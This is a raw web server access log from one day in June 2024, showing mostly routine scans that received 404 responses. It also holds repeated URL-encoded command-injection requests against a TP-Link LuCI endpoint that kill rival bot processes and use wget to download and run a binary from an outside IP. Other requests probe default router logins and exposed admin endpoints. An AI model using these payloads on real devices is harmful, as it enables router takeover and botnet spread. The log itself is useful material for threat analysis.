44.220.188.175 - - [28/Jun/2024:00:05:13 +0200] "GET / HTTP/1.1" 404 952 72.180.130.39 - - [28/Jun/2024:00:16:05 +0200] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 404 952 141.98.83.197 - - [28/Jun/2024:00:53:44 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:00:53:44 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 36.64.217.125 - - [28/Jun/2024:01:06:53 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:02:27:36 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:02:50:24 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:02:50:24 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:02:55:09 +0200] "GET / HTTP/1.1" 404 952 46.163.133.200 - - [28/Jun/2024:03:17:14 +0200] "GET / HTTP/1.1" 404 952 198.235.24.234 - - [28/Jun/2024:03:19:50 +0200] "GET / HTTP/1.1" 404 952 151.244.190.200 - - [28/Jun/2024:03:38:42 +0200] "GET / HTTP/1.1" 404 952 46.33.97.208 - - [28/Jun/2024:03:40:52 +0200] "GET / HTTP/1.1" 404 952 167.94.146.56 - - [28/Jun/2024:03:41:13 +0200] "GET / HTTP/1.1" 404 952 167.94.146.56 - - [28/Jun/2024:03:41:16 +0200] "GET / HTTP/1.1" 404 952 80.87.206.197 - - [28/Jun/2024:03:53:18 +0200] "GET /ui HTTP/1.1" 404 952 80.87.206.197 - - [28/Jun/2024:03:53:18 +0200] "GET / HTTP/1.1" 404 952 104.152.52.106 - - [28/Jun/2024:04:16:25 +0200] "GET / HTTP/1.0" 404 952 78.108.177.51 - - [28/Jun/2024:04:33:29 +0200] "GET / HTTP/1.0" 404 952 118.40.165.223 - - [28/Jun/2024:04:35:42 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:36:46 +0200] "GET / HTTP/1.1" 404 952 36.99.136.137 - - [28/Jun/2024:04:36:46 +0200] "GET / HTTP/1.1" 404 952 111.7.96.177 - - [28/Jun/2024:04:37:03 +0200] "GET / HTTP/1.1" 404 952 111.7.96.177 - - [28/Jun/2024:04:37:03 +0200] "GET / HTTP/1.1" 404 952 36.99.136.137 - - [28/Jun/2024:04:37:06 +0200] "GET / HTTP/1.1" 404 952 36.99.136.136 - - [28/Jun/2024:04:37:06 +0200] "GET / HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:37:29 +0200] "GET / HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:37:38 +0200] "GET / HTTP/1.1" 404 952 36.99.136.136 - - [28/Jun/2024:04:37:38 +0200] "GET / HTTP/1.1" 404 952 36.99.136.136 - - [28/Jun/2024:04:37:58 +0200] "GET / HTTP/1.1" 404 952 36.99.136.136 - - [28/Jun/2024:04:37:58 +0200] "GET / HTTP/1.1" 404 952 36.99.136.137 - - [28/Jun/2024:04:38:25 +0200] "GET / HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:38:27 +0200] "GET / HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:38:39 +0200] "GET / HTTP/1.1" 404 952 36.99.136.129 - - [28/Jun/2024:04:38:39 +0200] "GET / HTTP/1.1" 404 952 185.244.36.206 - - [28/Jun/2024:04:39:55 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:04:55:15 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:05:10:00 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:05:10:00 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:05:35:32 +0200] "GET / HTTP/1.1" 404 952 81.7.114.190 - - [28/Jun/2024:06:09:47 +0200] "HEAD / HTTP/1.1" 404 952 81.7.114.190 - - [28/Jun/2024:06:09:47 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:06:54:12 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:06:54:12 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 195.18.18.138 - - [28/Jun/2024:07:15:00 +0200] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 404 952 149.50.103.48 - - [28/Jun/2024:07:26:52 +0200] "GET / HTTP/1.1" 404 952 205.210.31.168 - - [28/Jun/2024:07:31:38 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:08:55:02 +0200] "GET / HTTP/1.1" 404 952 95.158.42.59 - - [28/Jun/2024:09:09:09 +0200] "GET / HTTP/1.1" 404 952 85.115.232.230 - - [28/Jun/2024:09:41:26 +0200] "GET / HTTP/1.1" 404 952 198.235.24.76 - - [28/Jun/2024:09:43:28 +0200] "GET / HTTP/1.0" 404 952 102.67.180.50 - - [28/Jun/2024:09:45:50 +0200] "GET / HTTP/1.1" 404 952 172.202.176.165 - - [28/Jun/2024:10:02:53 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:10:23:16 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:10:40:00 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:10:40:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 64.62.156.72 - - [28/Jun/2024:10:43:29 +0200] "GET / HTTP/1.1" 404 952 64.62.156.69 - - [28/Jun/2024:10:43:51 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.156.68 - - [28/Jun/2024:10:44:07 +0200] "GET /?format=json HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:11:06:50 +0200] "GET / HTTP/1.1" 404 952 199.45.154.159 - - [28/Jun/2024:11:36:54 +0200] "GET / HTTP/1.1" 404 952 199.45.154.159 - - [28/Jun/2024:11:36:58 +0200] "GET / HTTP/1.1" 404 952 62.210.90.175 - - [28/Jun/2024:12:00:48 +0200] "HEAD / HTTP/1.1" 404 952 62.210.90.175 - - [28/Jun/2024:12:00:50 +0200] "GET / HTTP/1.1" 404 952 220.250.10.160 - - [28/Jun/2024:12:15:43 +0200] "GET / HTTP/1.1" 404 952 1.24.16.156 - - [28/Jun/2024:12:16:14 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:12:47:47 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:13:42:13 +0200] "GET / HTTP/1.1" 404 952 143.198.80.150 - - [28/Jun/2024:13:51:56 +0200] "GET / HTTP/1.1" 404 952 143.198.80.150 - - [28/Jun/2024:13:51:56 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 83.97.73.245 - - [28/Jun/2024:14:07:16 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 83.97.73.245 - - [28/Jun/2024:14:29:49 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:14:37:57 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:14:37:57 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 146.190.244.86 - - [28/Jun/2024:14:49:37 +0200] "GET / HTTP/1.1" 404 952 146.190.244.86 - - [28/Jun/2024:14:49:37 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:15:09:26 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [28/Jun/2024:15:16:39 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 164.68.114.58 - - [28/Jun/2024:15:33:55 +0200] "GET /logs HTTP/1.1" 404 952 185.191.126.213 - - [28/Jun/2024:15:58:32 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:16:41:40 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:16:41:40 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [28/Jun/2024:16:46:13 +0200] "GET / HTTP/1.1" 404 952 78.108.177.51 - - [28/Jun/2024:17:19:19 +0200] "GET / HTTP/1.0" 404 952 141.98.83.197 - - [28/Jun/2024:19:18:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:19:18:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 147.185.132.33 - - [28/Jun/2024:19:21:05 +0200] "GET / HTTP/1.1" 404 952 104.168.70.165 - - [28/Jun/2024:19:43:23 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [28/Jun/2024:20:23:14 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 80.201.119.74 - - [28/Jun/2024:21:14:50 +0200] "GET / HTTP/1.0" 404 952 141.98.83.197 - - [28/Jun/2024:22:06:03 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:22:06:03 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 206.168.34.46 - - [28/Jun/2024:22:11:44 +0200] "GET / HTTP/1.1" 404 952 206.168.34.46 - - [28/Jun/2024:22:11:47 +0200] "GET / HTTP/1.1" 404 952 164.68.114.58 - - [28/Jun/2024:23:07:49 +0200] "GET /logs HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:23:46:09 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [28/Jun/2024:23:46:09 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.128.232.200 - - [28/Jun/2024:23:49:56 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952